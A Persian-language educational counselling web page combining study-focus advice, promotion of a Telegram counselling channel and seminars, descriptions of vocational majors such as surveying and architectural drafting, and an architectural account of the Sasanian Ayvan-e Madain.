این موضوع را از زوایای مختلف می‌توان مورد بحث قرار داد. یک بُعد مهم هدفمندی به نیّات و ایده‌آل و انگیزه‌های شما برمی‌گردد. بُعد دیگر آن به آرامش ذهنی و نظم رفتاری شما مربوط است. یکی دیگر از ابعاد آن این است که شما چه قدر مهارت‌ها و ظرافت‌های لازم در برنامه‌ریزی و به خصوص پیش‌بینی تغییرات به خرج دهید. یعنی این که اگر قسمتی از برنامه‌ی شما اجرا نشد و یا طولانی شدن یک برنامه منجر به اختلال در برنامه‌های دیگر شد چه طرح‌های هدفمندی را پیش‌بینی کرده‌باشید.

اگر چه درخصوص هر یک از ابعاد در قسمت‌های بعدی صحبت خواهیم کرد، اما برای این که در این قسمت هم به نتیجه‌ای رسیده‌باشیم به این نکته اشاره می‌کنیم که هدفمندی در مطالعه یعنی داشتن یک ذهنیت روشن و شفاف درباره‌ی اهداف برنامه‌ها و پیش‌بینی‌های لازم. به عبارت دیگر با یک ذهن ابهام‌گرا و پیچیده و سردرگم نمی‌توان مطالعه‌ای موفق داشت. اگر از پس خود بر نمی‌آیید به مشاور مراجعه کنید.
کلید: باید به طور شفاف بدانید که چه در مغز شما می‌گذرد و چه می‌خواهید بکنید.

آغاز هشیارانه
ما در این جا برای بیداری و هشیاری تعاریف متفاوتی رادرنظر می‌گیریم. هشیاری یعنی داشتن یک آگاهی ارادی و به عبارت بهتر یعنی بیداری آگاهانه.
بسیاری از دانش‌آموزان برای ورود به مطالعه بیدار هستند ولی هشیاری لازم را ندارند. شاید برای شما پیش آمده که مطالعه‌ی درسی را شروع کرده‌اید، اما بعد از گذشتن دقایقی تازه متوجه شده‌اید که اصلاٌ نمی‌دانید چه می‌کنید! دچار حواس‌پرتی می‌شوید و یا مطالب را خوب درک نمی‌کنید.

مطالعه‌ی شما وقتی هشیارانه است که شما از لحظه‌ی شروع مطالعه -و بعد در لحظه لحظه‌ی ادامه‌ی آن- بدانید که دارید چه می‌کنید و کاملاٌ کنترل ارادی بر رفتار خود داشته‌باشید. چگونه می‌توان مطالعه را هشیارانه آغاز کرد؟
وضو بگیرید، نیت کنید، برای یکی دو دقیقه چشمان خود را ببندید و افکارتان را بر روی کاری که می‌خواهید انجام دهید متمرکز سازید.

یک تذکر آمرانه و جلب توجه کننده به خودتان بدهید. مثلاً با صدای بلند به خود دستور بدهید که من در این لحظه با آمادگی کامل می‌خواهم مطالعه‌ی این قسمت از کتاب را شروع کنم.
یک علامت یا رمز به خصوص را برای خود تعیین کنید و…
کلید: تمرین خودآگاهی و تقویت هشیاری، کیفیت آغاز و ادامه‌ی مطالعه را افزایش خواهد داد.

نتیجه‌گیری:
برای مطالعه‌ی جدّی و توام با تمرکز، یک فضای ثابت و یک نواخت بهترین مکان است.
باید به طور شفاف بدانید که چه در مغز شما می‌گذرد و چه می‌خواهید بکنید.
تمرین خودآگاهی و تقویت هشیاری، کیفیت آغاز و ادامه‌ی مطالعه را افزایش خواهد داد.

عضویت در کانال آکادمی مشاوره

بچه هایی که راغب هستند در چنل آکادمی مشاوره در تلگرام عضو بشن! لطفا آیدی @academymoshavere رو اد بکنند!

یا شماره ۰۹۳۷۰۵۷۳۷۹۶ رو در گوشی خودشون ذخیره و بعد از سرچ کردن شماره به آیدی من پی ام بدن تا اون هارو وارد اکادمی بکنم!

برخی از مزایای عضویت در چنل آکادمی مشاوره

– اموزش برنامه ریزی

-نکات مشاوره ای و انگیزشی

-اموزش مطالعه دروس

-مشاوره شبانه

– پاسخ گویی به سوالات مشاوره ای شما

 

به مدیریت آقای محمدی

پی نوشت : دوستای عزیزم لطفا از شماره برای سوالات مشاوره ای به صورت پیام یا تماس استفاده نکنید! هر سوالی بود در سایت پاسخ میدم واقعا پاسخگویی به حجم سنگین پیامک ها و تماس ها امکان پذیر نیست

#زنگ برنامه ریزی:ویژه مهر ماه

گاهی وقت ها اینقدر به فکر رسیدن به مقصد هستیم که فراموش میکنیم برای رسیدن باید حرکت کرد.

الان هم دقیقا همون زمانه شروع هستش

kar - Copy

زمانی که بارها وبارها براش برنامه ریزی کردی براش تایم گذاشتی براش زحمت کشیدی تا بهش برسی

یابهتر بگم برنامه ای که قراره تورو موفق کنه!تورو به مقصد برسونه! الان وقتشه که ازهمین الان پایه ی ده ما زحمت و اینده و رشته و موقعیت اجتماعیتو مشخص کنی!

یادت باشه ده ماه دیگه قراره زندگیتو ازاین رو به اون رو کنی قراره خانم دکتر بشی اقای دکتر بشی همه جا مهندس مهندس گوش عالم و ادمو کر کنه

میدونی چرا؟چون اینا همه اش نشون دهنده ی اینه که توانسان موفقی هستی!یه ادم موفق کسی که همیشه دیگران ارزو داشتن مثل اون باشن!

همون بچه ی مردمی که بارها پدر و مادرمون اونو تو سرما میکوبیدن که فلانی عالیه فلانی خیلی خوبه بچه ی مردم اینجوره ولی تو نیستی 

الان وقتشه که تو خودت الگوی دیگران باشی

بوکسور معروف کلی یادتونه که چند وقت پیش ازدنیا رفت؟

اولین مدال طلایی که برنده شده بود میدونی چیکار کرد؟فرستادش برای معلم اول دبستانش !!!!چون اون بهش گفته بود که تو هیچی نمیشی!!

برای رسیدن باید حرکت کرد و برای حرکت باید شروع کرد!

فایل صوتی برنامه ریزی و انگیزشی  مهرماه 

برای دانلود کلیک نمایید.

http://s8.picofile.com/file/8268842818/BARNAMERIZI_MEHR_MAH_BARNAME100_IR_ASEMMOHAMMADI09370573796_.mp3.html

 

همایش رایگان

 

 

باتوجه به تغییر روند کنکور سراسری در سالها اخیر و همچنین پیشرفت تکنولوژی جدید اموزشی

این روز ها کنکور دیگر آن کنکوری نیست که میشناختیم

درقدیم فقط توجه به چنددرس اختصاصی و عمومی کافی بود تا دریک دانشگاه خوب و رشته ی خوب پذیرفته شوید.

اما این روزها روند ترکیبی و مفهومی بودن سوالت که هرساله جدی تر نیز میشوند نشان دهنده ی ان است که سوالات کنکور دارای ظرافت های خاص و هنوز نکات ناشناخته و نادیده ی کتاب را دربرمیگیرند 

ازاین رو اساتید و دبیران مختلف باتوجه به دروس خود، این روزها اهمیت بیشتری نسبت به درسهای خود میدهند و دانش اموزان را ترغیب به یاد گیری هریک ازدرس ها به نحوی عالی میکنند.

دراین میان دانش اموزان باتوجه به اهمیت هردرس بر آن میشوند تا راه های مدیریتی مختلف را فراگرفته تابتوانند تناسب و توازن مناسبی بین تمامی دروس برقرار کنند واین جاست که مشاوره و برنامه ریزی مدیریتی مطرح میشود

تا با حضور یک مشاور برای دانش اموزان دردوره های مختلف آموزشی بتوانند مدیریت دروس که خود یک مهارت محسوب میشود را فراگیرند و از سردرگمی های مختلف اموزشی -برنامه ریزی -مدیریتی جلوگیری کنند.

درهمین راستا تصمیم گرفتیم تا با برگزاری همایش های مشاوره ای باهدف پیشبرد و پیشرفت آموزشی دانش آموزان درقالب جلسات مشاوره های گروهی برای مدارس و موسسات آموزشی دز سطح کشور به این امر کمک کرده و درکنار دانش اموزان باشیم.

**برگزاری همایش های مشاوره ای تحصیلی درقالب موضوعات :مشاوره ی انگیزشی،برنامه ریزی،تحصیلی،پیشبرد و پیشرفت دروس و… در موسسات آموزشی و مدارس مختلف در سراسر کشور با کمترین هزینه ی ممکن برای آنها-به جهت سهولت دسترسی داوطلبان و دانش اموزان مدیران موسسات و موارس مختلف در سراسر کشور برای بهره مندی از بحث ها و موضوعات اموزشی انگیزشی و تحصیلی در سال تحصیلی جدید-new

 هزینه ی برگزاری اولین همایش در شهرها و موسسات مختلف در سراسر کشور رایگان خواهد بود.۳۲

هزینه ی برگزاری همایش مشاوره ی نیمروزه به مدت سه ساعت مفید و رسمی ۳۵۰ هزار تومان

هزینه ی برگزاری همایش یک روزه کامل به مدت۷ ساعت مفید و رسمی ۶۰۰ هزار تومان 

برای موسسات و مراکز خاص بهزیستی و کمیته امداد رایگان خواهد بود.

هماهنگی ایاب ذهاب وهزینه ی آن به عهده ی دعوت کننده میباشد.

**موضوعات اصلی و فرعی همایش و زمان بندی سانس های مختلف آن درقالب مشاوره های گروهی ویا انفرادی (درصورت تمایل) بعهده ی هماهنگ کننده و بااطلاع قبلی انجام پذیر است.

**مدارس و آموزشگاهایی که تمایل به دریافت مشاوره مستمر گروهی ویاانفرادی برای دانش اموزانشان بصورت مستمر هفتگی ویا مستمر ماهانه درطول سال تحصیلی را دارند از تخفیف هزینه برخوردار خواهند شد.

جهت هماهنگی #همایش را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنید.

رشته های هنرستان

 

 ساختمان

برای داشتن یک زندگی موفق باید برنامه‌ریزی داشته و طرح و نقشه‌ مشخص شود. برای انجام یک کار عمرانی که گاه چندین سال به طور می‌انجامد، باید نقشه‌برداری کرده و اطلاعات دقیق از ابعاد مکان ساخت سازه‌ی مورد نظر به دست آورد. مثلاً در هنگام احداث راه، باید ابتدا مسیر راه و قوس‌های موجود در آن به یاری نقشه‌برداری تعیین شود.این رشته با جغرافیا و سنجش از راه دور ارتباط نزدیکی دارد. اغلب افراد رشته‌ی نقشه‌برداری را نمی‌شناسند یا آن را بهاشتباه همان نقشه‌کشی می‌دانند. نقشه‌برداری علمی است که ریاضیات عملی را با فنون اندازه‌گیری و هنر ترسیم،توأم نموده و به وسیله‌ی آن قطعاتی از سطح زمین را با کلیه‌ی عوارض آن در روی صفحه‌ی افقی نمایش می‌دهد.مهندسی نقشه‌برداری رشته‌ای است که به مباحث مربوط به روش‌های مختلف جمع‌آوری اطلاعات زمین به منظور تهیه‌ی نقشه‌ برای کاربران مختلف از روش‌های متفاوت می‌پردازد.داوطلبان این رشته، مهارت لازم را برای تهیه‌ی نقشه، تهیه‌ی پروفیل‌های طولی و عرضی، ترازیابی، برداشت و پیاده‌کردن نقاط و… کسب می‌کنند.

ادامه‌ی تحصیل:

امکان ادامه تحصیل در این رشته در مقاطع بالاتر وجود دارد. با بالا رفتن سطح تحصیلی، به دلیل گستردگی زیرمجموعه‌ها، زمینه‌ی فعالیت محدود و به صورت تخصصی درمی‌آید.

نقشه‌برداری به شاخه‌های مختلف تقسیم می‌شود:

۱- ژئودزی:

علمی است که هدف از آن تعیین شکل و اندازه‌ی زمین و مختصات نقاط روی سطح زمین و یا بالای آن و همچنین بررسی تغییرات زمانی در شکل و میدان زمین و یا بالای آن و همچنین بررسی تغییرات زمانی در شکل و میدان ثقل زمیناست که خود به گرایش‌های مختلفی از جمله ژئودزی فیزیک، ژئودزی دینامیک و ژئودزی ماهواره‌ای تقسیم می‌شود.

۲- فتوگرامتری:

علمی است که با استفاده از آن به کمک دستگاه‌ها یا نرم‌افزارهای مخصوص، از عکس هوایی نقشه‌ تهیه می‌کنند.

۳- سنجش از راه دور: در این رشته از اطلاعات به دست آمده از تصاویر ماهواره‌ای جهت تهیه‌ی نقشه استفاده می‌شود.

۴- GIS : سیستم اطلاعات جغرافیایی به منظور طبقه‌بندی اطلاعات در لایه‌های مختلف و ارائه‌ی مناسب به کاربر.

۵- هیدروگرافی: تهیه‌ی نقشه‌های دریایی جهت ناوبری

فرصت‌های شغلی:

مراکز مختلفی به صورت مستقیم و غیرمستقیم در فعالیت‌های عمرانی نقش دارند که هر یک به تناسب نوع فعالیت خود، اقدام به جذب فارغ‌التحصیلان این رشته می‌کنند.

نمونه‌هایی از این گروه مشاغل به شرح زیر می‌باشند:

 

الف) مشاغل وابسته به ادارات و ارگان‌های دولتی:

– اداره‌ی راه و ترابری

– اداره‌ی آب و برق

– اداره‌ی جهاد کشاورزی

– اداره‌ی ثبت اسناد و املاک

– مجموعه‌ی شرکت نفت و ادارات تابعه

ب) مشاغل وابسته به ادارات خصوصی:

– شرکت‌های مجری طراحی و احداث راه، جاده، بزرگراه و …

– شرکت‌های مجری طراحی و احداث سازه‌های هیدرولیکی مثل سدها

– شرکت‌های مجری طراحی و احداث پل و سازه‌های مرتبط

– دفاتر فنی مهندسین مشاور و طراح و …

خطا در نقشه برداری

عوامل خطا:

ریشه خطاها: به طور کلی خطاهای اندازه گیری ناشی از عوامل زیر می باشند:

۱- عوامل دستگاهی.

۲- عوامل انسانی.

۳- عوامل طبیعی.

خطاهای دستگاهی:

این خطاها نتیجه فنی و نارسایی ساختمانی دستگاه اندازه گیری و یا خارج از تنظیم بودن قسمت های مختلف آن است چون غالبا دستگاه ها کامل و بدون عیب نیستند باید نارسایی ها و نقش آن ها را دانست و در اندازه گیری های دقیق باانتخاب روش مناسب کار و یا تصحیح های لازم اثر آن ها را از بین برد.

خطاهای انسانی:

علت این خطاها بیشتر نارسائی حواس انسانی مثل حس شنوایی ولازمه بینائی است.

خطاهای طبیعی:

ریشه این خطاها را در عوامل طبیعی باید جست وجو کرد و از آن جمله اند:

۱- اثر شکست نور.

۲- اثر اغناء زمین.

۳- اثر باد.

۴- خطای مربوط به تغییرات درجه حرارت محیط اندازه گیری.این خطاها از اختیار نقشه بردار خارجند ولی می توان با انتخاب روش مناسب اثر آنهارا تا حدی خنثی نموده وخطا را کاهش داد.

خطاهای سیستماتیک و خطاهای اتفاقی:

خطاها با توجه به خصوصیات آنها به دو گروه تقسیم می شوند:

۱- خطاهای سیستماتیک.

۲- خطاهای اتفاقی.

خطاهای سیستماتیک یا دستگاهی: خطاهائی هستند که در شرایط مشابه اندازه گیری مقدار و جهت آنها ثابت می ماند.

خطاهای اتفاقی: چنانچه خطاهای سیستماتیک و اشتباه ها کاملا حذف و یا تصحیح شوند با وجود این خطائی در اندازهگیری ها باقی می ماند که علت آنها مشخص نیست و مقدار و علامت آنها قابل پیش بینی نبوده و آنها را خطای اتفاقی می نامیم.

خطای مطلق و خطای نسبی:

خطای یک اندازه گیری را به طور ساده خطای مطلق آن می نامند ولی غالبا این خطا به تنهایی نمی تواند دقت اندازه گیری را بیان نماید. پس از تعریف خطای نسبی استفاده می شود.

خطای نسبی = خطای مطلق اندازه گیری تقسیم بر اندازه کمیت

خطاها و اشتباهات در مترکشی:

اشتباه ها: مهمترین اشتباه های مترکشی به شرح زیرند:

۱- اشتباه گرفتن نقاط انتهایی قطعه ها.

۲- اشتباه در خواندن و یا نوشتن اندازه ها.

۳- اضافه به حساب آوردن یا از قلم انداختن یک یا چند دهنه طول کامل متر.

نمونه های مهم خطاهای سیستماتیک در متر کشی به شرح زیرند:

۱- افقی نگرفتن متر.

۲- انحراف در ژالن گذاری، یعنی در یک امتداد نبودن میخ هایی که فاصله ها را به قطعات کوچک تقسیم کرده اند.

۳- اختلاف درجه حرارت محیط نسبت به درجه حرارت استاندارد.

۴- اختلاف نیروی کشش وارده نسبت

به کشش استاندارد.

۵- برابر نبودن طول واقعی متر با طول اسمی آن.

 

خطاهای اتفاقی: مهمترین خطاهای اتفاقی در مترکشی عبارتند از:

۱- خطای مربوط به ارتعاشات شاغول در اثر باد و منطبق نبودن کامل آن بر نقطه.

۲- خطای مربوط به قرائت درجات متر.

۳- خطاهای سیستماتیک مترکشی را که قبلا دیدیم در صورتیکه قابل توجه بوده و کنترل شوند قابل تصحیح بوده، در غیراین صورت به خصوص وقتی تصحیح آنها مورد توجه نباشد، به صورت خطای اتفاقی در می آیند.

 

ساختمان

صنعت ساختمان و فعالیت های عمرانی همواره یکی از مهمترین دلایل پیشرفت کشورهای صنعتی بوده است. یکی از دغدغه های کشور های درحال توسعه وبخصوص کشور خودمان ایران رشد وپیشرفت صنایع بنیادین خود مانند ساختمان سازی می باشد که از این رو به منظور پیشرفت هرچه سریعتر اقدام به ایجاد رشته های تخصصی مانند ساختمان کرده اند.

رشته ساختمان که از شاخه ی فنی وحرفه ای می باشد به طور کلی در خصوص علم ساختمان سازی وفعالیت های عمرانی بحث میکند.دانش اموزان علاقه مند به این رشته می توانند پس ازگذراندن مقطع اول دبیرستان این رشته را دردوم هنرستان انتخاب کرده و تا دیپلم ادامه دهند.پس ازاخذ دیپلم به منظورتحصیل در دانشگاه باید در آزمون سراسری شرکت کرده وتراز لازم دانشگاه موردنظرراکسب کنند.دانشجویان پس از گذراندن حدودا ۱۵۶واحد درسی که اغلب آن ها محاسباتی است مدرک مهندسی عمران راکسب می کنند . دانشجویانی که قصدادامه تحصیل دارند می‌توانند در مقاطع بالاتر نظیر کارشناسی ارشد ودکتری  در گرایش های مختلفی مثل مهندسی سازه،مهندسی محیط زیست،مهندسی سدسازی ،مهندسی فتوگرامتری و.. مشغول به تحصیل شوند.

درخصوص بازار کار این رشته باید گفت که رونق بسیار خوبی دارد.همانطور که گفته شد کشور ما جزءکشورهای در حال توسعه می باشد و برای انجام فعالیت‌های وسیع عمرانی خود نیاز شدیدی به متخصصان کار آزموده در این زمینه دارد. درصورتی که افراد فارغ التحصیل  قصد سرمایه گذاری در تخصص خود دارند می‌توانند با خرید سهام شرکت های معتبر و یا تاسیس شرکت به نام خودشان در زمینه های طراحی محاسبه و اجرای سازه به فعالیت اقتصادی مشغول شوند.

در پایان باید گفت که  رشته ساختمان یکی از پرتقاضاترین رشته‌های تحصیلی می باشد که از موقعیت اقتصادی مطلوبی برخوردار است. علاقه مندان به این رشته باید از مهارت های اجتماعی مانند مدیریت یک مجموعه برخوردار باشند.

نقشه کشی معماری

معماری

معماری در لغت به معنای علم بنایی و ابعاد سازی آمده است و معمار به معنای بسیار عمارت کننده آنکه عمارت کند و موجب رونق و تعالی گردد وعمارت نیز به معنای آبادی است. لغات هم ریشه معماری و عمارت نیز همه معنایی از آبادی و زندگی حیات را در خود دارد. معمر به معنای طویل العمر ، معمر به معنای منزل فراخ با آب و گیاه و مردم است. معمور یعنی آبادان آباد مسکون و دارای جمعیت از مردمان (لغت نامه دهخدا)

در قرآن نیز در مواردی به ساختن و معماری و یا عمارت که ریشه معماری دارد اشاره شده است.هنگامی که خدا می فرماید :”عمر والارض” یعنی زمین را آباد کنید و زمین بنایی والا می باشد. تعمیر هم از همین ماده است و همچنین عمر نیز به معنای تعمیر بدان بواسطه روح است و اگر زیارت خانه خدا هم عمره می گویند باز هم به همین خاطر است که زیارت مردم مایه آبادانی بیت ا…الحرام است.

در تفسیر المیزان مجموعه این معانی (لغوی و قرآنی ) نشان می دهد که مفهوم ” معماری” عمیق تر از ساختن به تنهایی و ابعادش وسیعتر از به وجود آوردن کالبد یک ساختمان می باشد که مفاهیمی مانند زنده سازی و احیاء و تداوم و حیات و آبادانی را در خود نهفته دارد یا به عبارت دیگر معماری همواره به معنای ایجاد فضایی با روح و حیات تصور می گردد.

در اینجا در مقام تعریف معماری باید به چند نکته زیر توجه کنیم:

اول اینکه در معماری همیشه معرفت و عمل به هم پیوسته است و سیر از معرفت به عمل و اجرای معماری را پدید می آورد. دیگر اینکه اثر معماری همواره در پیوند با محیط و بافت اطرافش شکل نمی گیرد و تعریف نمی شود.

بدین ترتیب از مجموعه تمامی انچه به اجمال بیان شد به طور خلاصه می توان گفت که :

معماری نوعی عمل خلاقانه است که مقصود آن شکل دادن به فصای زیست انسان در تمامیتش می باشد و گستره ی آن از جوابگویی به نیازهای انسانی در پیوند با محیط و طبیعت تا بیان عواطف و اعتقادات او طیف وسیعی را در بر می گیرد.

بدین ترتیب هدف این رشته تربیت افرادی است که بر این طیف عمل خلاقانه تسلط یافته و توان انتقام بخشی به مقتضای زیست انسانی را داشته باشند تا بدین ترتیب ابعاد کمی و شرایط کیفی زیست و رشد در جامعه فراهم گردد. 

نقش و توانایی: 

فارع التحصیلان این رشته با توجه به آنچه گذشت و بر اساس توانایی هایی که در روند آموزش کسب نموده اند می توانند در زمینه های زیر ایفای نقش نمایند:

ا- طراحی (تک بنا یا مجموعه زیستی کوچک) ، از طرح های اولیه تا مراحل اجرایی کار و طراحی اجزا و عناصر تشکیل دهنده بنا این زمینه از کار معمار در حقیقت وظیفه محوری او را تشکیل می دهند. 

۲ – راهبری و سرپرستی دفاتر مشاوره معماری و شهرسازی

۳ – نظارت عمومی و عالی بر صحت انجام کار در عملیات اجرایی ساختمانی مدیریت و هماهنگی های اجرایی پروژه های معماری و شهرسازی ( تا حد بناهای عمومی متوسط) و توانایی مشارکت در مدیریت اجرایی پروژه های معماری گسترده

 

نقشه کشی عمومی

در دنیای امروز تامین آسایش و آرامش  بشری یکی از هدفهای اصلی بوده و بکارگیری تکنولوژی و علوم پیشرفته در طراحی و خلق فضا و اجرای پروژه های معماری از اهمیت خاصی برخوردادر است.

امروزه ارتباط تصویری دارای جایگاه ارزشمندی است و نقشه کشی معماری یکی از مهم ترین گرونه های آن بوده و در تمام رشته های فنی مورد استفاده قرار می گیرد.

فراگیری علم و هنر معماری و آشنایی با سبک و شیوه های اسلامی ایران و جهان و بناهای تاریخی سایر ملل از مباحث بسیار مهم و  ضروری این رشته به شمار می رود. 

به طور کلی نقشه کشی را می توان یک معنا ، تدبیر نمودن و بررسی نمودن در مورد یک موضوع یا یک مسئله دانست. زمانی که موضوع نقشه کشی در نقش یک علم ظاهر شده که در سطح صنعت چهانی به زبان گویای صنعت شهرت یافته .

در مورد نقش مهم نقشه های ترسیم در صنعت ذکر این نکته کافیست که فرایند تولید صنعتی حتما باید از سیر نقشه باشد.

طراحی قطعات مختلف صنعتی به عوامل گوناگونی وابسته است که می توان از علوم پایه ، تجسم درست اجسام ، نوآوری و خلاقیت ، استفاده از تکنولوژی و یا الهام از طبیعت و هنر نام برد.

آنچه هنرجویان و علاقه مندان به این رشته به این رشته در طی تحصیل تا حدودی با آن می شوند آشنا می شوند عبارتند از:

نقشه کشی صنعتی فنی ، هندسه ترسیم ، محاسبات فنی ، آزمایشگاه اندازه گیری دقیق ، نقشه کشی به کمک رایانه ، جوش قطعات ، طراحی قطعات صنعتی ، کار با ماشین های تراش، فرز و صفحه تراش به منظور ساخت قظعات نام برد.

زمینه های شغلی نقشه کشی معماری 

زمینه های نقشه کشی معماری عبارت است از :

نقشه کش نقشه های اجرایی معماری

نقشه کش معماری داخلی

نقشه کش نقشه های سازه ای نقش کامپیوتری کمک پژوهشگر معماری

کنترل کیفیت ساختمان

دفاتر مهندسین مشاور و طراح

مسترور

نظارت بر امور زیبایی ساختمان

و…..

 

ایوان مدائن

معماری بنا

ایوان بزرگ و عظیم از ۷۵ پا عرض و تقریباً ۱۵۰ پا طول با یک عمق درونی است و ارتفاع طاق تقریباً به ۱۹۰ پا می‌رسد. وقتیکه به دقت بیشتر و نزدیکتر آن بنا را بررسی می‌کنیم، ناگهان در می‌یابیم که هیچ مقصود خاصی در بنای آن بعمل نیامده است که بخواهند طاق نماهای جبهه را با سوراخ بسیار بزرگ دهنه طاق و با دیوارهای جبهه منطبق سازند و متوجه می‌شویم که آن دیوار فقط یک نمایی بیش نیست و طاق نماهای کوری است که هیچ ساختمانی درعقب ندارد. جزئیات آنها هم مانند مجموع آن معیوب است. این طاق نماهای کور جنب آن دهانه بزرگ یک دفعه محو می شود و آن واحدها بخودی خود نیز کامل نمی‌باشد، بلکه بطور ناقص آنها را به عمل آورده‌اند.

در انتهای خارجی آن‌ها دیوار در محلی که طاق نماهای طبقه پایین‌تر بطور ناقص مانده است. در سه طبقه ساخته شده و مابین آنها یک محور عمودی مشترک وجود ندارد که البته فقط در معماری‌های تزیینی امری لازم می‌باشد. هرگونه تحقیق و بررسی که به عمل آمده است، معلوم می‌سازد که بنا یک جبهه به سبک یونانی منظور معمار بوده است و می‌خواسته است بنای یک تاتر رومی یا یک سپتی زونیوم را تقلید نماید.

در انتهای خارجی آن‌ها دیوار در محلی که طاق نماهای طبقه پایین‌تر بطور ناقص مانده است. در سه طبقه ساخته شده و مابین آنها یک محور عمودی مشترک وجود ندارد که البته فقط در معماری‌های تزیینی امری لازم می‌باشد. قصر فیروزآباد نیز یک هنرایرانی محض است که بنائی زیبا بوده و آن را شاپور پسر اردشیر با بنای ایوان کسری تقلید کرده است.

در طرفین بنا مانندکاخ فیروزآباد اتاق‌هایی به صورت قرینه تعبیه شده، یک درب ساده در انتهای ایوان به یک ردیف اتاق‌هایی کوچک راه داشته و می‌بایست از آنها گذشته به تالاری بزرگ (تالارتخت) به وسعت ایوان به پهنای ۶۸/۳۸متر رسید. اطراف تمام بخش مرکزی با دالان‌ها و اتاق‌های دراز دارای طاق ضربی گرفته شده است.

ابن خرداد به به جغرافیدان (در حدود سال ۸۶۴) آن را زیباترین بنای که با آجروگچ ساخته شده نامیده است. درحالی که مردم عظمت آن را چنان چشم گیر می‌دیدند که دشوار می‌توانستند ساخت آن را به دست بشر را بپذیرند و تصور می‌کردند به دست پریان ساخته شده است. این نما که طاق بزرگی رو به مشرق در مرکزآن قراردارد یک سمت صحنی پهناور را که بقیه آن ازمیان رفته تشکیل داد. در برابر این ایوان، ایوان بزرگ دیگری رو به غرب قرارداشت که تنها آثار آن در روی زمین به چشم می‌خورد.

معماران خسرو که تصویری از مقدار فشاری که توسط بنایی با چنین ابعاد غول آسا ایجاد می‌شد نداشتند، پایه‌ها را بسیارپهن گرفتند تا از قدرت تحمل چنان آواری مطمئن گردند. پهنای پایه‌ها در قسمت زیر طاق چهار و در پایین هفت متر است، ضخامت طاق حتی در تارک آن به یک متر می‌رسید. نقشه بنا گر چه غیرعادی ولی اساساً ساده بود و تأثیرآن بیشتر ناشی از عظمت بنا بود.

ایوان بزرگ از طریق چند اتاق کوچک به یک تالار بزرگ بسته متصل بود و اطراف تمام بخش مرکزی را دالان‌ها و اتاق‌های دراز دارای طاق ضربی گرفته بود. (مثل شهر آشور در دوره پارتی) در شهر آشور متعلق به دوره پارتی، فضای خالی ایجاد شده توسط ایوان را با تزیین نما و استفاده از ستون‌های توکار، اسپرها و طاقچه‌هایی که در شش طبقه ترتیب یافته و بالای آن یک ردیف کنگره سنتی قرارداشت، جبران کرده بودند.

فضای بزرگی که باید طاق‌بندی می‌شد، سازندگان به منظور کاهش اندازه دهانه تا حد امکان، به تدریج رج‌های افقی آجرهای بالای پاکار قوس را به سمت داخل متمایل می‌ساختند. بدین ترتیب، دیوارها ضمن یک انحنای جزئی به هم نزدیک و دهانه فوقانی با رج‌های عمودی پوشانده می‌شدکه به شکل قطاع بزرگی از یک دایره بود؛ بنابراین، بخش نیم بیضی یا شلجمی طاق‌ها یا قوس‌ها که در معماری ساسانی بسیار فراوان دیده می‌شود، نتیجه در نظرگرفتن استحکام و ثبات نیست بلکه ناشی از فرایند عملی ساخت بناست.

بزرگترین این نوع سازه بدون داربست طاق زنی، طاق گهواره‌ای عظیم و شلجمی کسری در تیسفون است که بر ایوانی بناشده است و دهانه آن۶۰/۲۵ متر است. (نمونه این طاق‌ها گهواره‌ای مصری و ساسانی است که دیولافوا آن را در سفرنامه خود ذکرکرده است) زیرا یک درگاه جفتی در یک مکان مسکونی ضمن کاوش‌های تیسفون پیدا شده که باید متعلق به اواسط سده ششم میلادی باشد، و دارای قوس نعل اسبی است که از گچبری‌هایی که بر روی ستون‌های چهارگوش تو کار و جفت نیم ستون‌های بدون سرستون بیرون نشسته از دیوار به وجود آمده است.

جا پیکره‌های ایوان بالا خانه درنای پشتی طاق کسری که به عنوان شاهدی بر رواج قوس تیزه دار در معماری ساسانی از آن یاد می‌شود، به واقع تیزه دار نیستند. (هرتسفلد اشتباه دیولافوا را تصحیح می‌کند؛ که نویسنده از طرحی که در سال ۱۹۲۹ کشیده شده، تهیه کرده است) زیرا که، آجرهای درون سوی طاق زاویه‌ای در نوک تشکیل می‌دهد، اینگونه بنا کاملاً تصادفی است و هیچ کارکرد ساختاری را نشان نمی‌دهد؛ بنابراین، تصور این که قوس‌های کوچک به وسیله لایه‌ای پوششی پرداخت و گردشده باشند منطقی است.

در تیسفون شکل و اندازه طاق‌نماها از هر ردیف به ردیف دیگر فرق می‌کند. هر ردیف واحد مستقلی را مانند نواری افقی و بی‌هیچ ارتباطی یا تأکیدهای عمودی نمای بنا تشکیل می‌دهد بدین ترتیب، دو ردیف ار طاق‌نماها به طاقی پایان می‌پذیرند که بر یک ستون قرار نمی‌گیرد بلکه با پایه کنج دیوار ترکیب می‌شود.

آنچه در معماری کاخ سازی ساسانیان جلب توجه می‌کند مدخل اصلی کاخ‌ها می‌باشد، که به صورت ایوان، با طاق هلالی در محور اصلی کاخ ساخته می‌شده است. نمونه بارز و با عظمت این نوع ایوان را در ایوان مدائن می‌بینیم که مهمترین قسمت کاخ را شامل است. طاق بزرگ دارای ۹۱ متر طول، ۴۶ متر عرض و ۴۸ متر ارتفاع بوده در طرفین آن ۴ تالار بزرگ هر یک به طول ۲۳ متر و عرض ۶ متر که به یکدیگر ارتباط داشته‌اند قرارداشته است در زیر این طاق تالار بار که تختگاه و مقر شاهنشاه بوده به طول ۹۲/۴۲ و عرض ۶۵/۲۵ و ارتفاع ۳۵ متر وجود داشته است. نور تالار از ۱۵۰ دریچه که هر یک دارای محیطی برابر ۱۲ تا ۱۵ متر بوده‌اند تأمین می‌گردیده است. برای تعویض هوای تالار از تنبوشه‌هایی به قطر تقریبی ۲۰ سانتی‌متر استفاده می‌کرده است. پوشش تالار گهواره‌ای شلجمی بوده است و در اطراف آن تالارهای بزرگ و راهروهای مختلف با پوشش‌های گنبدی و یا گهواره‌ای بنا کرده بودند. طاق بزرگ بروی دیواری قرارداشته است که در پایین دارای ضخامتی برابر ۷ متر بوده و آنجایی که طاق شروع می‌شده است ضخامت تالار به ۴ متر می‌رسیده و بالاخره قسمت هلالی دارای قطری برابر ۱ متر بوده است.

 

نکاتی درباره طراحی خارجی ایوان کسری

مشخص‌ترین نمای آن طاق کسری است که مشارکت عناصر یونانی –رومی در نمای عظیم آن غیر آن غیرقابل انکار است. نمای معماری شامل ستون‌های توکار، پیشانی‌ها و طاقچه‌ها تو دیواری نشان از تأثیر معماری تدمر دارد.

